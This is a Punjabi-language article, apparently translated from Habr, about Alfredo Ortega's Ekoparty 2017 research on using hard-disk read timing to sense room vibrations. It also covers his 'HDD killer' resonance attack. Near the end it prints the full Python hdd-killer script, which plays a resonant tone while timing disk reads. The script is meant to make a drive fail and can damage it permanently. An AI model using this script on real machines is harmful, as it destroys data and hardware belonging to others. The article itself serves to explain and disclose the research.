ਬਿਊਨਸ ਆਇਰਸ ਵਿੱਚ Ekoparty 2017 ਕੰਪਿਊਟਰ ਸੁਰੱਖਿਆ ਕਾਨਫਰੰਸ ਵਿੱਚ, ਅਰਜਨਟੀਨਾ ਦੇ ਹੈਕਰ ਅਲਫਰੇਡੋ ਓਰਟੇਗਾ ਨੇ ਇੱਕ ਬਹੁਤ ਹੀ ਦਿਲਚਸਪ ਵਿਕਾਸ ਦਿਖਾਇਆ - ਇੱਕ ਮਾਈਕ੍ਰੋਫੋਨ ਦੀ ਵਰਤੋਂ ਕੀਤੇ ਬਿਨਾਂ ਪਰਿਸਰ ਦੀ ਗੁਪਤ ਵਾਇਰਟੈਪਿੰਗ ਲਈ ਇੱਕ ਪ੍ਰਣਾਲੀ। ਧੁਨੀ ਹਾਰਡ ਡਰਾਈਵ ਨੂੰ ਸਿੱਧੇ ਰਿਕਾਰਡ ਕੀਤਾ!

HDD ਮੁੱਖ ਤੌਰ 'ਤੇ ਉੱਚ-ਤੀਬਰਤਾ ਵਾਲੀਆਂ ਘੱਟ-ਫ੍ਰੀਕੁਐਂਸੀ ਆਵਾਜ਼ਾਂ, ਪੈਰਾਂ ਦੇ ਕਦਮ ਅਤੇ ਹੋਰ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਚੁੱਕਦਾ ਹੈ। ਮਨੁੱਖੀ ਬੋਲੀ ਨੂੰ ਅਜੇ ਤੱਕ ਪਛਾਣਿਆ ਨਹੀਂ ਜਾ ਸਕਦਾ, ਹਾਲਾਂਕਿ ਵਿਗਿਆਨੀ ਇਸ ਦਿਸ਼ਾ ਵਿੱਚ ਖੋਜ ਕਰ ਰਹੇ ਹਨ (ਘੱਟ ਫ੍ਰੀਕੁਐਂਸੀ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਦੁਆਰਾ ਬੋਲੀ ਦੀ ਪਛਾਣ, ਜੋ ਕਿ ਰਿਕਾਰਡ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਉਦਾਹਰਨ ਲਈ, ਜਾਇਰੋਸਕੋਪ ਜਾਂ HDD ਤੋਂ)।

ਧੁਨੀ ਹਵਾ ਜਾਂ ਕਿਸੇ ਹੋਰ ਮਾਧਿਅਮ ਦੀ ਵਾਈਬ੍ਰੇਸ਼ਨ ਹੈ। ਇੱਕ ਵਿਅਕਤੀ ਉਹਨਾਂ ਨੂੰ ਕੰਨ ਦੇ ਪਰਦੇ ਰਾਹੀਂ ਸਮਝਦਾ ਹੈ, ਜੋ ਅੰਦਰਲੇ ਕੰਨ ਤੱਕ ਕੰਬਣੀ ਸੰਚਾਰਿਤ ਕਰਦਾ ਹੈ। ਮਾਈਕ੍ਰੋਫੋਨ ਨੂੰ ਮੋਟੇ ਤੌਰ 'ਤੇ ਇੱਕ ਕੰਨ ਵਾਂਗ ਡਿਜ਼ਾਇਨ ਕੀਤਾ ਗਿਆ ਹੈ - ਇੱਥੇ ਵੀ, ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਇੱਕ ਪਤਲੀ ਝਿੱਲੀ ਦੁਆਰਾ ਰਿਕਾਰਡ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਜੋ ਇੱਕ ਬਿਜਲਈ ਪ੍ਰਭਾਵ ਨੂੰ ਉਤਸ਼ਾਹਿਤ ਕਰਦਾ ਹੈ। ਹਾਰਡ ਡਰਾਈਵ, ਬੇਸ਼ੱਕ, ਆਲੇ ਦੁਆਲੇ ਦੀ ਹਵਾ ਵਿੱਚ ਉਤਰਾਅ-ਚੜ੍ਹਾਅ ਦੇ ਕਾਰਨ ਮਾਈਕ੍ਰੋਸਕੋਪਿਕ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਦੇ ਅਧੀਨ ਵੀ ਹੈ। ਇਹ ਐਚਡੀਡੀਜ਼ ਦੀਆਂ ਤਕਨੀਕੀ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਤੋਂ ਵੀ ਜਾਣਿਆ ਜਾਂਦਾ ਹੈ: ਨਿਰਮਾਤਾ ਆਮ ਤੌਰ 'ਤੇ ਵੱਧ ਤੋਂ ਵੱਧ ਪ੍ਰਵਾਨਿਤ ਵਾਈਬ੍ਰੇਸ਼ਨ ਪੱਧਰ ਨੂੰ ਦਰਸਾਉਂਦੇ ਹਨ, ਅਤੇ ਹਾਰਡ ਡਰਾਈਵ ਅਕਸਰ ਇਸਨੂੰ ਰਬੜ ਜਾਂ ਹੋਰ ਇੰਸੂਲੇਟਿੰਗ ਸਮੱਗਰੀ ਦੇ ਬਣੇ ਵਾਈਬ੍ਰੇਸ਼ਨ-ਪ੍ਰੂਫ ਕੰਟੇਨਰ ਵਿੱਚ ਰੱਖਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰਦੀ ਹੈ। ਇਸ ਤੋਂ ਇਹ ਸਿੱਟਾ ਕੱਢਣਾ ਆਸਾਨ ਹੈ ਕਿ ਐਚਡੀਡੀ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਆਵਾਜ਼ਾਂ ਨੂੰ ਰਿਕਾਰਡ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਇਹ ਸਭ ਕੁਝ ਇਹ ਪਤਾ ਲਗਾਉਣਾ ਹੈ ਕਿ ਕਿਵੇਂ.

ਅਲਫਰੇਡੋ ਓਰਟੇਗਾ ਨੇ ਸਾਈਡ-ਚੈਨਲ ਹਮਲੇ ਦਾ ਇੱਕ ਵਿਲੱਖਣ ਸੰਸਕਰਣ ਪ੍ਰਸਤਾਵਿਤ ਕੀਤਾ, ਅਰਥਾਤ ਇੱਕ ਸਮੇਂ ਦਾ ਹਮਲਾ। ਇਹ ਹਮਲਾ ਇਸ ਧਾਰਨਾ 'ਤੇ ਅਧਾਰਤ ਹੈ ਕਿ ਦਿੱਤੇ ਗਏ ਇਨਪੁਟ ਡੇਟਾ 'ਤੇ ਨਿਰਭਰ ਕਰਦੇ ਹੋਏ, ਵੱਖ-ਵੱਖ ਸਮਿਆਂ 'ਤੇ ਡਿਵਾਈਸ 'ਤੇ ਵੱਖ-ਵੱਖ ਓਪਰੇਸ਼ਨ ਕੀਤੇ ਜਾਂਦੇ ਹਨ। ਇਸ ਸਥਿਤੀ ਵਿੱਚ, "ਇਨਪੁਟ ਡੇਟਾ" ਰੀਡਿੰਗ ਹੈੱਡ ਅਤੇ ਐਚਡੀਡੀ ਪਲੇਟਰ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਹਨ, ਜੋ ਕਿ ਵਾਤਾਵਰਣ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨਾਲ ਸਬੰਧਿਤ ਹਨ, ਯਾਨੀ ਆਵਾਜ਼ ਨਾਲ। ਇਸ ਤਰ੍ਹਾਂ, ਗਣਨਾ ਦੇ ਸਮੇਂ ਨੂੰ ਮਾਪ ਕੇ ਅਤੇ ਡੇਟਾ ਦਾ ਅੰਕੜਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਦੁਆਰਾ, ਸਿਰ/ਥਾਲੀ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਅਤੇ ਇਸਲਈ ਮਾਧਿਅਮ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਮਾਪਣਾ ਸੰਭਵ ਹੈ। ਡਾਟਾ ਪੜ੍ਹਨ ਵਿੱਚ ਜਿੰਨੀ ਦੇਰੀ ਹੋਵੇਗੀ, ਓਨੀ ਹੀ ਮਜ਼ਬੂਤ ​​HDD ਕੰਬਣੀ ਅਤੇ, ਇਸਲਈ, ਉੱਚੀ ਆਵਾਜ਼।

ਹਾਰਡ ਡਰਾਈਵ ਵਾਈਬ੍ਰੇਸ਼ਨ ਨੂੰ ਕਿਵੇਂ ਮਾਪਣਾ ਹੈ? ਬਹੁਤ ਸਧਾਰਨ: ਸਿਰਫ਼ ਸਿਸਟਮ ਕਾਲ ਚਲਾਓ read () - ਅਤੇ ਇਸ ਨੂੰ ਪੂਰਾ ਕਰਨ ਵਿੱਚ ਲੱਗਣ ਵਾਲੇ ਸਮੇਂ ਨੂੰ ਰਿਕਾਰਡ ਕਰੋ। ਆਧੁਨਿਕ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਤੁਹਾਨੂੰ ਨੈਨੋ ਸਕਿੰਟ ਸ਼ੁੱਧਤਾ ਨਾਲ ਸਿਸਟਮ ਕਾਲਾਂ ਦੇ ਸਮੇਂ ਨੂੰ ਪੜ੍ਹਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦੇ ਹਨ।

ਕਿਸੇ ਸੈਕਟਰ ਤੋਂ ਜਾਣਕਾਰੀ ਨੂੰ ਪੜ੍ਹਨ ਦੀ ਗਤੀ ਸਿਰ ਅਤੇ ਪਲੇਟਰ ਦੀ ਸਥਿਤੀ 'ਤੇ ਨਿਰਭਰ ਕਰਦੀ ਹੈ, ਜੋ ਕਿ HDD ਕੇਸ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨਾਲ ਸਬੰਧਿਤ ਹੈ। ਇਹ ਸਭ ਹੈ.

ਅੰਕੜਾ ਵਿਸ਼ਲੇਸ਼ਣ ਇੱਕ ਸਧਾਰਨ Kscope ਉਪਯੋਗਤਾ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜਿਵੇਂ ਕਿ ਉਹ ਕਹਿੰਦੇ ਹਨ, ਹਰ ਚੀਜ਼ ਸਧਾਰਨ ਹੈ.

Kscope ਉਪਯੋਗਤਾ (stat() syscall)

Kscope ਸਿਸਟਮ ਕਾਲ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਸਮੇਂ ਵਿੱਚ ਛੋਟੇ ਅੰਤਰਾਂ ਦੀ ਕਲਪਨਾ ਕਰਨ ਲਈ ਇੱਕ ਛੋਟੀ ਸਹੂਲਤ ਹੈ। ਸਰੋਤGitHub 'ਤੇ ਕਲਿੱਕ ਕਰੋ.

ਇੱਕ ਵੱਖਰੇ ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ HDD-ਸਮਾਂ ਹਾਰਡ ਡਰਾਈਵ 'ਤੇ ਸਮੇਂ ਦੇ ਹਮਲੇ ਲਈ ਸੰਰਚਿਤ ਉਪਯੋਗਤਾ ਦਾ ਇੱਕ ਸੰਸਕਰਣ ਹੈ, ਜੋ ਕਿ ਸਿਸਟਮ ਕਾਲ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਲਈ ਕੌਂਫਿਗਰ ਕੀਤਾ ਗਿਆ ਹੈ read ().

HDD ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਧੁਨੀ ਰਿਕਾਰਡਿੰਗ ਦਾ ਪ੍ਰਦਰਸ਼ਨ, Kscope ਉਪਯੋਗਤਾ ਦਾ ਸੰਚਾਲਨ

ਬੇਸ਼ੱਕ, ਭਾਸ਼ਣ ਨੂੰ ਇਸ ਤਰੀਕੇ ਨਾਲ ਸਮਝਿਆ ਨਹੀਂ ਜਾ ਸਕਦਾ ਹੈ, ਪਰ HDD ਇੱਕ ਵਾਈਬ੍ਰੇਸ਼ਨ ਸੈਂਸਰ ਦੇ ਰੂਪ ਵਿੱਚ ਕਾਫ਼ੀ ਢੁਕਵਾਂ ਹੈ. ਉਦਾਹਰਨ ਲਈ, ਤੁਸੀਂ ਰਜਿਸਟਰ ਕਰ ਸਕਦੇ ਹੋ ਜੇਕਰ ਕੋਈ ਵਿਅਕਤੀ ਸਖ਼ਤ ਜੁੱਤੀਆਂ ਪਹਿਨੇ ਜਾਂ ਨੰਗੇ ਪੈਰੀਂ ਕੰਪਿਊਟਰ ਵਾਲੇ ਕਮਰੇ ਵਿੱਚ ਦਾਖਲ ਹੋਇਆ ਹੋਵੇ (ਸ਼ਾਇਦ, ਜੇਕਰ ਹਮਲਾਵਰ ਨੇ ਨਰਮ ਸਨੀਕਰ ਪਹਿਨੇ ਹੋਏ ਹਨ ਜਾਂ ਫਰਸ਼ 'ਤੇ ਇੱਕ ਮੋਟਾ ਕਾਰਪੇਟ ਹੈ, ਤਾਂ HDD ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਰਜਿਸਟਰ ਕਰਨ ਦੇ ਯੋਗ ਨਹੀਂ ਹੋਵੇਗਾ - ਇਹ ਜਾਂਚ ਕਰਨ ਯੋਗ ਹੈ)। ਕੰਪਿਊਟਰ ਟੁੱਟੇ ਹੋਏ ਸ਼ੀਸ਼ੇ ਜਾਂ ਹੋਰ ਘਟਨਾਵਾਂ ਨੂੰ ਤੇਜ਼ ਆਵਾਜ਼ ਦੀ ਤੀਬਰਤਾ ਨਾਲ ਦਰਜ ਕਰਨ ਦੇ ਯੋਗ ਹੈ। ਭਾਵ, ਹਾਰਡ ਡਰਾਈਵ ਇੱਕ ਕਿਸਮ ਦੀ ਅਣਅਧਿਕਾਰਤ ਘੁਸਪੈਠ ਖੋਜ ਪ੍ਰਣਾਲੀ ਵਜੋਂ ਕੰਮ ਕਰ ਸਕਦੀ ਹੈ।

HDD ਕਾਤਲ

ਇਤਫਾਕਨ, ਹਾਰਡ ਡਰਾਈਵਾਂ ਨੂੰ ਅਯੋਗ ਕਰਨ ਲਈ ਇੱਕ ਸਮਾਨ ਤਕਨੀਕ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਹਾਲਾਂਕਿ, ਇੱਥੇ ਅਸੀਂ HDD ਤੋਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਕੈਪਚਰ ਨਹੀਂ ਕਰਦੇ, ਸਗੋਂ ਉਹਨਾਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਪੈਦਾ ਕਰਦੇ ਹਾਂ ਜੋ HDD ਨੂੰ ਫੀਡ ਕੀਤੀਆਂ ਜਾਂਦੀਆਂ ਹਨ। ਜੇਕਰ ਤੁਸੀਂ ਸਪੀਕਰ ਤੋਂ ਆਡੀਓ ਨੂੰ ਇੱਕ ਫ੍ਰੀਕੁਐਂਸੀ 'ਤੇ ਚਲਾਉਂਦੇ ਹੋ ਜੋ HDD ਦੀ ਫ੍ਰੀਕੁਐਂਸੀ ਨਾਲ ਗੂੰਜਦੀ ਹੈ, ਤਾਂ ਸਿਸਟਮ ਜਲਦੀ ਹੀ ਇੱਕ I/O ਗਲਤੀ (ਕਰਨਲ) ਨਾਲ ਡਿਵਾਈਸ ਨੂੰ ਬੰਦ ਕਰ ਦੇਵੇਗਾ। Linux (ਇਹ 120 ਸਕਿੰਟਾਂ ਬਾਅਦ HDD ਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਬੰਦ ਕਰ ਦਿੰਦਾ ਹੈ।) ਹਾਰਡ ਡਰਾਈਵ ਆਪਣੇ ਆਪ ਵਿੱਚ ਨਾ-ਉਲਟਣਯੋਗ ਤੌਰ 'ਤੇ ਖਰਾਬ ਹੋ ਸਕਦੀ ਹੈ।

ਕੋਰ Linux ਐਡੀਫਾਇਰ r19u USB ਸਪੀਕਰ ਰਾਹੀਂ ਗੂੰਜਦੀ ਬਾਰੰਬਾਰਤਾ 'ਤੇ 120 ਸਕਿੰਟਾਂ ਤੱਕ ਆਵਾਜ਼ ਵਜਾਉਣ ਤੋਂ ਬਾਅਦ ਹਾਰਡ ਡਰਾਈਵ ਬੰਦ ਹੋ ਗਈ। ਸਪੀਕਰ ਨੂੰ ਇਸਦੀ ਪਾਵਰ ਦੇ ਲਗਭਗ ਇੱਕ ਚੌਥਾਈ (100 ਮੈਗਾਵਾਟ ਤੋਂ ਘੱਟ) 'ਤੇ ਚਾਲੂ ਕੀਤਾ ਗਿਆ ਸੀ ਅਤੇ HDD ਤੋਂ 20 ਸੈਂਟੀਮੀਟਰ ਦੀ ਦੂਰੀ 'ਤੇ ਰੱਖਿਆ ਗਿਆ ਸੀ, ਵਾਈਬ੍ਰੇਸ਼ਨ ਨੂੰ ਵਧਾਉਣ ਲਈ ਮੇਜ਼ ਵੱਲ ਇਸ਼ਾਰਾ ਕੀਤਾ ਗਿਆ ਸੀ। ਅਜੇ ਵੀ ਵੀਡੀਓ HDD ਕਾਤਲ ਦੇ ਪ੍ਰਦਰਸ਼ਨ ਦੇ ਨਾਲ

ਇਹ ਉਤਸੁਕ ਹੈ ਕਿ ਐਚਡੀਡੀ 'ਤੇ ਅਜਿਹੇ "ਹਮਲੇ" ਕਈ ਵਾਰੀ ਰੋਜ਼ਾਨਾ ਜੀਵਨ ਵਿੱਚ ਦੁਰਘਟਨਾ ਦੁਆਰਾ ਪੂਰੀ ਤਰ੍ਹਾਂ ਵਾਪਰਦੇ ਹਨ। ਉਦਾਹਰਨ ਲਈ, ਸਤੰਬਰ 2016 ਵਿੱਚ, ING ਬੈਂਕ ਡੇਟਾ ਸੈਂਟਰ ਨੂੰ ਫਾਇਰ ਡਰਿੱਲ ਤੋਂ ਬਾਅਦ 10 ਘੰਟਿਆਂ ਲਈ ਕੰਮਕਾਜ ਨੂੰ ਮੁਅੱਤਲ ਕਰਨ ਲਈ ਮਜਬੂਰ ਕੀਤਾ ਗਿਆ ਸੀ। ਦਰਜਨਾਂ ਹਾਰਡ ਡਰਾਈਵਾਂ ਫੇਲ੍ਹ ਹੋ ਗਈਆਂ ਹਨ ਹਾਈ ਪ੍ਰੈਸ਼ਰ ਹੇਠ ਸਿਲੰਡਰ ਤੋਂ ਨਿਕਲਣ ਵਾਲੀ ਇਨਰਟ ਗੈਸ ਦੀ ਉੱਚੀ ਆਵਾਜ਼ ਕਾਰਨ। ਆਵਾਜ਼ ਬਹੁਤ ਉੱਚੀ ਸੀ (130 dB ਤੋਂ ਵੱਧ), ਪਰ ਤੁਸੀਂ ਹਾਰਡ ਡਰਾਈਵਾਂ 'ਤੇ ਵੀ ਰੌਲਾ ਨਹੀਂ ਪਾ ਸਕਦੇ - ਇਹ HDD ਤੱਕ ਪਹੁੰਚ ਕਰਨ ਵਿੱਚ ਦੇਰੀ ਨੂੰ ਵਧਾਉਂਦਾ ਹੈ।

ਇੱਕ ਡਾਟਾ ਸੈਂਟਰ ਵਿੱਚ ਹਾਰਡ ਡਰਾਈਵਾਂ 'ਤੇ ਮਨੁੱਖੀ ਚੀਕਾਂ ਦਾ ਪ੍ਰਦਰਸ਼ਨ। ਲੇਟੈਂਸੀ ਮਾਪ

ਗੂੰਜਦੀ ਆਵਾਜ਼ ਪੈਦਾ ਕਰਨ ਲਈ, ਅਲਫਰੇਡੋ ਓਰਟੇਗਾ ਨੇ ਪਾਈਥਨ ਸਕ੍ਰਿਪਟ ਲਿਖੀ hdd-ਕਾਤਲ (ਵੀਡੀਓ ਪ੍ਰਦਰਸ਼ਨ).

HDD ਕਾਤਲ ਸਕ੍ਰਿਪਟ ਇਹ ਕਾਫ਼ੀ ਛੋਟਾ ਹੈ, ਇਸ ਲਈ ਤੁਸੀਂ ਇਸਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਇੱਥੇ ਪ੍ਰਕਾਸ਼ਿਤ ਕਰ ਸਕਦੇ ਹੋ।

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ਸਰੋਤ: www.habr.com